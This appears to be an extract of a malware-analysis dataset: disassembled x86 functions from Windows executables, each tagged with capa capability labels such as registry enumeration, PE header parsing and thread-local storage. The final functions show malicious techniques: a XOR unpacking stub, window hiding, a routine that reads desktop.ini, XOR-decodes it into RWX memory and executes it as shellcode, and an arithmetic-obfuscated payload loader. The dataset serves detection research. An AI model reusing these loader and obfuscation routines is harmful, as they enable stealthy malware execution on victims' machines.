joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43f215
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x58
mov eax, 0x4471ac
call fcn.00443e79
mov esi, ecx
sub esp, 0x58
mov ebx, 0xff
mov ecx, esp
mov edi, 0x414338
push ebx
push 0xb
push 0x384
push edi
push 0x413a00
push 0x413a18
call fcn.00440fc8
push 0
lea ecx, [ebp - 0x64]
call fcn.00441304
and dword [ebp - 4], 0
mov ecx, esi
call fcn.0043f757
cmp dword [esi + 0xc], 1
jne 0x43f322
mov ebx, dword [esi + 0x1c]
and dword [ebp - 0x20], 0
shr ebx, 1
mov dword [ebp - 0x24], 0x401050
lea eax, [ebx + 1]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x24]
call fcn.00418a9b
mov eax, dword [esi + 0x18]
mov edi, dword [ebp - 0x20]
and dword [ebp - 0x14], 0
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
push edi
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push dword [esi + 0x14]
push dword [esi + 8]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov edx, eax
test edx, edx
je 0x43f2d0
cmp edx, 0x103
je 0x43f3a4
jmp 0x43f352
mov eax, dword [ebp - 0x14]
cmp eax, dword [esi + 0xc]
je 0x43f2fc
push dword [esi + 0xc]
push eax
push 0x414420
push 0x8000ffff
sub esp, 0x58
mov ecx, esp
push 0xff
push 0xb
push 0x3a5
jmp 0x43f3c5
xor eax, eax
lea ecx, [ebp - 0x24]
and dword [ebp - 0x20], eax
mov word [edi + ebx*2], ax
mov eax, dword [ebp + 8]
mov dword [eax], edi
call fcn.00418d1c
lea ecx, [ebp - 0x64]
call fcn.004413c9
call fcn.00443e47
ret 4
push 0x4143a0
push 0x8000ffff
sub esp, 0x58
mov ecx, esp
push ebx
push 0xb
push 0x38b
push edi
push 0x413a00
push 0x413a18
call fcn.00440fc8
lea eax, [ebp - 0x64]
push eax
call fcn.0044255f
push dword [ebp - 0x10]
lea ecx, [esi + 0x10]
call fcn.00417b47
push eax
push dword [esi + 8]
push dword [esi]
push 0x4144b0
test edx, edx
jle 0x43f375
movzx edx, dx
or edx, 0x80070000
push edx
sub esp, 0x58
mov ecx, esp
push 0xff
push 0xb
push 0x3ad
push 0x414338
push 0x413a00
push 0x413a18
call fcn.00440fc8
lea eax, [ebp - 0x64]
push eax
call fcn.0044255f
push dword [esi + 4]
push dword [esi + 8]
push 0x4141a0
push 0x8000ffff
sub esp, 0x58
mov ecx, esp
push 0xff
push 0xb
push 0x3ab
push 0x414338
push 0x413a00
push 0x413a18
call fcn.00440fc8
lea eax, [ebp - 0x64]
push eax
call fcn.0044255f
int3
Function at 0x43f3e3
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x58
mov eax, 0x4471cf
call fcn.00443e79
mov esi, ecx
sub esp, 0x58
mov edi, 0xff
mov ecx, esp
push edi
push 0xb
pop ebx
push ebx
push 0x3bb
push 0x414338
push 0x413a00
push 0x413a18
call fcn.00440fc8
push 0
lea ecx, [ebp - 0x64]
call fcn.00441304
and dword [ebp - 4], 0
mov ecx, esi
call fcn.0043f757
push 4
pop ecx
cmp dword [esi + 0xc], ecx
jne 0x43f4e4
mov eax, dword [esi + 0x1c]
cmp eax, ecx
jne 0x43f517
mov eax, dword [esi + 0x18]
xor edx, edx
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], edx
push eax
push edx
lea eax, [ebp - 0x14]
mov dword [ebp - 0x20], ecx
push eax
push dword [esi + 0x14]
push dword [esi + 8]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov edx, eax
test edx, edx
je 0x43f4a8
cmp edx, 0x103
jne 0x43f54c
push dword [esi + 4]
push dword [esi + 8]
push 0x4141a0
push 0x8000ffff
sub esp, 0x58
mov ecx, esp
push edi
push ebx
push 0x3e3
jmp 0x43f52f
mov eax, dword [ebp - 0x18]
cmp eax, dword [esi + 0xc]
je 0x43f4cc
push dword [esi + 0xc]
push eax
push 0x414420
push 0x8000ffff
sub esp, 0x58
mov ecx, esp
push edi
push ebx
push 0x3dd
jmp 0x43f52f
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x1c]
mov dword [ecx], eax
lea ecx, [ebp - 0x64]
call fcn.004413c9
call fcn.00443e47
ret 4
push 0x4143a0
push 0x8000ffff
sub esp, 0x58
mov ecx, esp
push edi
push ebx
push 0x3c1
push 0x414338
push 0x413a00
push 0x413a18
call fcn.00440fc8
lea eax, [ebp - 0x64]
push eax
call fcn.0044255f
push ecx
push eax
push 0x4144f0
push 0x8000ffff
sub esp, 0x58
mov ecx, esp
push edi
push ebx
push 0x3c6
push 0x414338
push 0x413a00
push 0x413a18
call fcn.00440fc8
lea eax, [ebp - 0x64]
push eax
call fcn.0044255f
push dword [ebp - 0x14]
lea ecx, [esi + 0x10]
call fcn.00417b47
push eax
push dword [esi + 8]
push dword [esi]
push 0x4144b0
test edx, edx
jle 0x43f56f
movzx edx, dx
or edx, 0x80070000
push edx
sub esp, 0x58
mov ecx, esp
push edi
push ebx
push 0x3e5
push 0x414338
push 0x413a00
push 0x413a18
call fcn.00440fc8
lea eax, [ebp - 0x64]
push eax
call fcn.0044255f
int3
Function at 0x43f59a
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x5c
mov eax, 0x4471fa
call fcn.00443e79
mov esi, ecx
sub esp, 0x58
mov ebx, 0xff
mov ecx, esp
mov edi, 0x414338
push ebx
push 0xb
push 0x3f3
push edi
push 0x413a00
push 0x413a18
call fcn.00440fc8
push 0
lea ecx, [ebp - 0x68]
call fcn.00441304
and dword [ebp - 4], 0
mov ecx, esi
call fcn.0043f757
cmp dword [esi + 0xc], 3
jne 0x43f69e
mov eax, dword [esi + 0x1c]
and dword [ebp - 0x20], 0
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], 0x4010a8
push eax
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 1
call fcn.00428737
mov eax, dword [esi + 0x18]
mov edi, dword [ebp - 0x20]
and dword [ebp - 0x14], 0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push edi
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push dword [esi + 0x14]
push dword [esi + 8]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov edx, eax
test edx, edx
je 0x43f64d
cmp edx, 0x103
je 0x43f71c
jmp 0x43f6ce
mov eax, dword [ebp - 0x14]
cmp eax, dword [esi + 0xc]
je 0x43f675
push dword [esi + 0xc]
push eax
push 0x414420
push 0x8000ffff
sub esp, 0x58
mov ecx, esp
push ebx
push 0xb
push 0x413
jmp 0x43f739
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
and dword [ebp - 0x20], 0
mov dword [eax], edi
mov eax, dword [ebp - 0x18]
mov dword [ecx], eax
lea ecx, [ebp - 0x24]
call fcn.00428784
lea ecx, [ebp - 0x68]
call fcn.004413c9
call fcn.00443e47
ret 8
push 0x4143a0
push 0x8000ffff
sub esp, 0x58
mov ecx, esp
push ebx
push 0xb
push 0x3fa
push edi
push 0x413a00
push 0x413a18
call fcn.00440fc8
lea eax, [ebp - 0x68]
push eax
call fcn.0044255f
push dword [ebp - 0x10]
lea ecx, [esi + 0x10]
call fcn.00417b47
push eax
push dword [esi + 8]
push dword [esi]
push 0x4144b0
test edx, edx
jle 0x43f6f1
movzx edx, dx
or edx, 0x80070000
push edx
sub esp, 0x58
mov ecx, esp
push ebx
push 0xb
push 0x41b
push 0x414338
push 0x413a00
push 0x413a18
call fcn.00440fc8
lea eax, [ebp - 0x68]
push eax
call fcn.0044255f
push dword [esi + 4]
push dword [esi + 8]
push 0x4141a0
push 0x8000ffff
sub esp, 0x58
mov ecx, esp
push ebx
push 0xb
push 0x419
push 0x414338
push 0x413a00
push 0x413a18
call fcn.00440fc8
lea eax, [ebp - 0x68]
push eax
call fcn.0044255f
int3
Function at 0x43f757
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x4c
mov eax, 0x44488d
call fcn.00443e79
mov esi, ecx
sub esp, 0x58
mov edi, 0xff
mov ecx, esp
push edi
push 0xb
push 0x45e
push 0x414558
push 0x413a00
push 0x413a18
call fcn.00440fc8
push 0
lea ecx, [ebp - 0x58]
call fcn.00441304
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp byte [esi + 0x21], cl
je 0x43f7f3
cmp dword [esi + 0x14], ecx
je 0x43f7f3
cmp byte [esi + 0x20], cl
je 0x43f7b7
lea ecx, [ebp - 0x58]
call fcn.004413c9
call fcn.00443e47
ret
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x10], eax
lea eax, [esi + 0x1c]
push eax
push ecx
lea eax, [esi + 0xc]
push eax
push ecx
lea eax, [ebp - 0x10]
push eax
push dword [esi + 0x14]
push dword [esi + 8]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov edx, eax
test edx, edx
je 0x43f7ed
cmp edx, 0x103
je 0x43f875
jmp 0x43f827
mov byte [esi + 0x20], 1
jmp 0x43f7a9
push 0x414100
push 0x8000ffff
sub esp, 0x58
mov ecx, esp
push edi
push 0xb
push 0x462
push 0x414558
push 0x413a00
push 0x413a18
call fcn.00440fc8
lea eax, [ebp - 0x58]
push eax
call fcn.0044255f
push dword [ebp - 0x10]
lea ecx, [esi + 0x10]
call fcn.00417b47
push eax
push dword [esi + 8]
push dword [esi]
push 0x4144b0
test edx, edx
jle 0x43f84a
movzx edx, dx
or edx, 0x80070000
push edx
sub esp, 0x58
mov ecx, esp
push edi
push 0xb
push 0x47a
push 0x414558
push 0x413a00
push 0x413a18
call fcn.00440fc8
lea eax, [ebp - 0x58]
push eax
call fcn.0044255f
push dword [esi + 4]
push dword [esi + 8]
push 0x4141a0
push 0x8000ffff
sub esp, 0x58
mov ecx, esp
push edi
push 0xb
push 0x47e
push 0x414558
push 0x413a00
push 0x413a18
call fcn.00440fc8
lea eax, [ebp - 0x58]
push eax
call fcn.0044255f
int3

Function at 0x4406c3
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x44f0f4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov dword [ebp - 0x198], edx
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
je 0x440775
push 0x414dcc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x44070e
push 0x414de0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x440775
push esi
push 0x414e38
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x440728
push 0x414e48
jmp 0x44076e
push dword [0x44f110]
push ebx
push edi
push dword [ebp - 0x198]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x414ea0
lea eax, [ebp - 0x194]
mov ecx, esi
push eax
call dword [0x4713cc]
call esi
add esp, 0x1c
test eax, eax
jns 0x440761
push 0x414fc0
jmp 0x44076e
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.004437b0
leave
ret 4
Function at 0x4407ca
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
push 0x14
mov eax, 0x44728e
call fcn.00443ee2
mov ebx, ecx
and dword [ebp - 4], 0
cmp dword [ebx], 0
je 0x440132
mov eax, 0x8000ffff
jmp 0x44019a
mov byte [ebp - 4], 1
mov eax, dword [ebx + 0x28]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x4713cc]
lea ecx, [ebx + 0x28]
call esi
call fcn.0043fd82
xor ecx, ecx
mov dword [ebp - 0x1c], 0x402818
lea eax, [ebx + 0x10]
mov dword [ebp - 0x18], ecx
push eax
push ecx
push ecx
xor edx, edx
lea eax, [ebp - 0x1c]
push eax
inc edx
push edx
push 0x402808
push ecx
push 0x4406a0
mov dword [ebx], edx
call dword [sym.imp.ADVAPI32.dll_RegisterTraceGuidsW]
test eax, eax
je 0x44018b
jle 0x44019a
movzx eax, ax
or eax, 0x80070000
jmp 0x44019a
xor eax, eax
jmp 0x44019a
call fcn.00443e47
ret
xor eax, eax
inc eax
lock xadd dword [0x44f6f4], eax
inc eax
cmp eax, 1
jne 0x440819
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x44f110], eax
cmp eax, 0xffffffff
jne 0x4407f2
mov edx, 0x414d00
jmp 0x440804
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x44080f
mov edx, 0x414d3c
push ecx
mov ecx, 0x414d14
call fcn.004406c3
mov ecx, 0x44e050
jmp 0x440114
xor eax, eax
ret

Function at 0x4408d0
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push esi
push edi
mov edi, dword [0x44f110]
mov esi, ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x4408fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push edi
push 0x414d8c
call fcn.004406c0
add esp, 0x10
pop edi
xor eax, eax
pop esi
ret
Function at 0x441304
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov dword [esi + 8], ebx
test eax, eax
jne 0x44131d
mov eax, dword [ebp + 0x10]
mov dword [esi + 0x1c], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x10], eax
mov eax, dword [ebp + 0x18]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x1c]
mov dword [esi + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
or dword [esi + 4], 0xffffffff
lea edi, [esi + 0x2c]
push dword [0x44f110]
mov dword [esi + 0x24], eax
mov eax, dword [ebp + 0x20]
mov dword [esi + 0x28], eax
xor eax, eax
mov dword [esi], ebx
mov dword [esi + 0x3c], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, eax
test edi, edi
jne 0x44137b
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x44137b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, esi
call fcn.004408d0
test eax, eax
js 0x44138b
mov dword [esi + 0x3c], edi
jmp 0x44138e
mov edi, dword [esi + 0x3c]
test edi, edi
je 0x441398
mov eax, dword [edi + 0x20]
inc eax
jmp 0x44139a
mov eax, ebx
mov dword [esi + 0x20], eax
mov eax, dword [esi + 0x28]
cmp eax, 0xff
jne 0x4413aa
add eax, 0xffffffa1
push ebx
push eax
push 0x4153b8
mov ecx, esi
call fcn.004416f3
lea ecx, [ebp + 0xc]
call fcn.0044106e
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 0x5c
Function at 0x4414dc
Capabilities:
Accept command line arguments

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x80c
mov eax, dword [0x44f0f4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x44f6f4]
neg eax
push esi
mov esi, ecx
sbb eax, eax
and eax, dword [0x44e074]
cmp eax, dword [esi + 4]
je 0x441607
mov dword [esi + 4], eax
mov eax, dword [0x44f6f4]
test eax, eax
je 0x441542
mov edx, dword [esi + 0x18]
lea eax, [ebp - 0x80c]
mov ecx, dword [esi + 0x1c]
and dword [ebp - 0x80c], 0
push eax
call fcn.0043fdbe
test eax, eax
je 0x44153d
mov eax, dword [ebp - 0x80c]
jmp 0x441576
mov eax, dword [0x44f6f4]
mov ecx, dword [esi + 0x3c]
test ecx, ecx
je 0x441550
call fcn.004414c8
jmp 0x441576
test eax, eax
je 0x441574
cmp dword [0x44e050], 0
je 0x441574
cmp dword [0x44e054], 0
je 0x441574
cmp dword [0x44f114], 0
je 0x441574
xor eax, eax
inc eax
jmp 0x441576
xor eax, eax
mov dword [esi], eax
mov eax, dword [0x44f118]
cmp eax, dword [esi + 4]
je 0x441607
push 0x800
lea eax, [ebp - 0x808]
push 0
push eax
call sub.msvcrt.dll_memset
pop ecx
pop ecx
lea eax, [ebp - 0x808]
push eax
call fcn.00441a76
push dword [esi + 4]
lea eax, [ebp - 0x808]
push dword [0x44f118]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x415450
push 0x78
push 0x4154f8
sub esp, 0x58
mov ecx, esp
push 0xff
push 0xb
push 0x24f
push 0x415518
push 0x4152c0
push 0x4152d0
call fcn.00440fc8
push esi
call fcn.004417f1
mov eax, dword [esi + 4]
add esp, 0x7c
mov dword [0x44f118], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004437b0
leave
ret
Function at 0x443583
Capabilities:
Terminate process

Disassembly:
push 0xc
push 0x44ce28
call fcn.00444278
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x470908
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x4435c8
cmp eax, esi
jne 0x4435bb
xor esi, esi
inc esi
mov edi, esi
jmp 0x4435cb
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x44359f
xor esi, esi
inc esi
cmp dword [0x47090c], esi
jne 0x4435dd
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x443617
cmp dword [0x47090c], ebx
jne 0x443611
mov dword [0x47090c], esi
push 0x40249c
push 0x402490
call fcn.004436fc
pop ecx
pop ecx
test eax, eax
je 0x443617
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4436ec
mov dword [0x44f124], esi
cmp dword [0x47090c], esi
jne 0x44363a
push 0x40248c
push 0x40247c
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x47090c], 2
test edi, edi
jne 0x443647
xor eax, eax
mov ecx, 0x470908
xchg dword [ecx], eax
cmp dword [0x470918], 0
je 0x443673
push 0x470918
call fcn.004440d0
pop ecx
test eax, eax
je 0x443673
push ebx
push 2
push ebx
mov esi, dword [0x470918]
mov ecx, esi
call dword [0x4713cc]
call esi
push dword [0x44f130]
push dword [0x44f12c]
push dword [0x44f128]
call fcn.004167f9
add esp, 0xc
mov dword [0x44f120], eax
cmp dword [0x44f138], 0
jne 0x4436d1
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
push ecx
push eax
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x44f124], 0
jne 0x4436e5
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x44f120]
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
call fcn.00506000
jmp 0x443583

Function at 0x443fc4
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x44cf20
call fcn.00444278
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x444024
cmp eax, 0xffffffff
je 0x444024
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x44401d
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x44401d
cmp edx, 0x10000000
jae 0x44401d
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x44401a
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x444080
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x4440be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4440b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4440c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4440a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x444190
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x4441c1
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x4441c1
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x4441c1
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401f8f
Capabilities:
Compare security identifiers

Disassembly:
push ebx
push esi
lea ebx, [ecx + 4]
push edi
mov edi, edx
test ebx, ebx
je 0x401fc5
lea esi, [edi + 4]
test esi, esi
je 0x401fc5
call fcn.00401ef1
test al, al
je 0x401fc5
mov ecx, edi
call fcn.00401ef1
test al, al
je 0x401fc5
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
setne al
jmp 0x401fc7
xor al, al
pop edi
pop esi
pop ebx
ret

Function at 0x403713
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x43f008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, edx
mov ebx, ecx
push edi
mov ecx, esi
call fcn.0040163e
push 0x208
xor edi, edi
lea eax, [ebp - 0x20c]
push edi
push eax
call fcn.00416a10
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
push edi
push edi
push ebx
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
test edi, edi
jns 0x4037ad
movzx ecx, bl
cmp ecx, 0x26
jne 0x403771
mov edx, str.ProgramFiles
jmp 0x40377b
cmp ecx, 0x1c
jne 0x40379c
mov edx, str.LocalAppData
lea ecx, [ebp - 0x210]
call fcn.00403a1e
push eax
mov ecx, esi
call fcn.004015e6
mov ecx, dword [ebp - 0x210]
lea ecx, [ecx - 0x10]
call fcn.004015ce
mov eax, dword [esi]
cmp dword [eax - 0xc], 0
je 0x4037a9
xor eax, eax
inc eax
jmp 0x4037cb
mov eax, edi
jmp 0x4037cb
lea eax, [ebp - 0x20c]
push eax
call fcn.0042a58c
pop ecx
push eax
lea eax, [ebp - 0x20c]
mov ecx, esi
push eax
call fcn.004016da
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00415e90
leave
ret
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x57b397b
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x1fb0e44
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x406de0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x1007c35
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1007c44
pop dword [ebp - 8]
mov eax, 0xb27b9bc9
sub eax, 0xb17b1f85
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x70a4f749
add dword [ebp - 0x18], 0xddad4e02
mov dword [ebp - 0x14], 0x860b3367
sub dword [ebp - 0x14], 0x53d7e722
mov dword [ebp - 0x10], 0x54b02ec7
sub dword [ebp - 0x10], 0x863ea99
mov dword [ebp - 0xc], 0x6994e910
sub dword [ebp - 0xc], 0x6994e910
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xd8436f94
sub dword [ebp - 0x18], 0x63d1063e
mov dword [ebp - 0x14], 0xdd7824f
sub dword [ebp - 0x14], 0xcc6b20da
mov dword [ebp - 0x10], 0xa733c828
sub dword [ebp - 0x10], 0x43c45bbc
mov dword [ebp - 0xc], 0x2485ad84
add dword [ebp - 0xc], 0xdb7a527c
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x1840ee53
sub eax, 0x1740dd93
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x38886
push 0
call eax
mov ecx, 0x42bbcdc0
sub ecx, 0x42bb80b7
xor esi, esi
add esi, eax
mov edi, 0x10e6000
add edi, dword [ebp - 8]
mov ebx, 0x4ed28cc8
mov edx, dword [edi]
mov dword [ebp - 4], 0x2a52c329
xor edx, ebx
add dword [ebp - 4], edi
mov dword [esi], edx
sub dword [ebp - 4], edi
add esi, 0x67d1d56e
sub esi, 0x67d1d56a
add edi, 4
loop 0x1007d57
add eax, 0x468c483f
add eax, 0xb974deb8
xor ebx, ebx
add ebx, eax
add eax, 0x7b9439d9
add eax, 0x846bc62c
mov ecx, 0x8df1a370
add ecx, 0x730e5c90
add ecx, dword [ebp - 8]
call ebx
leave
ret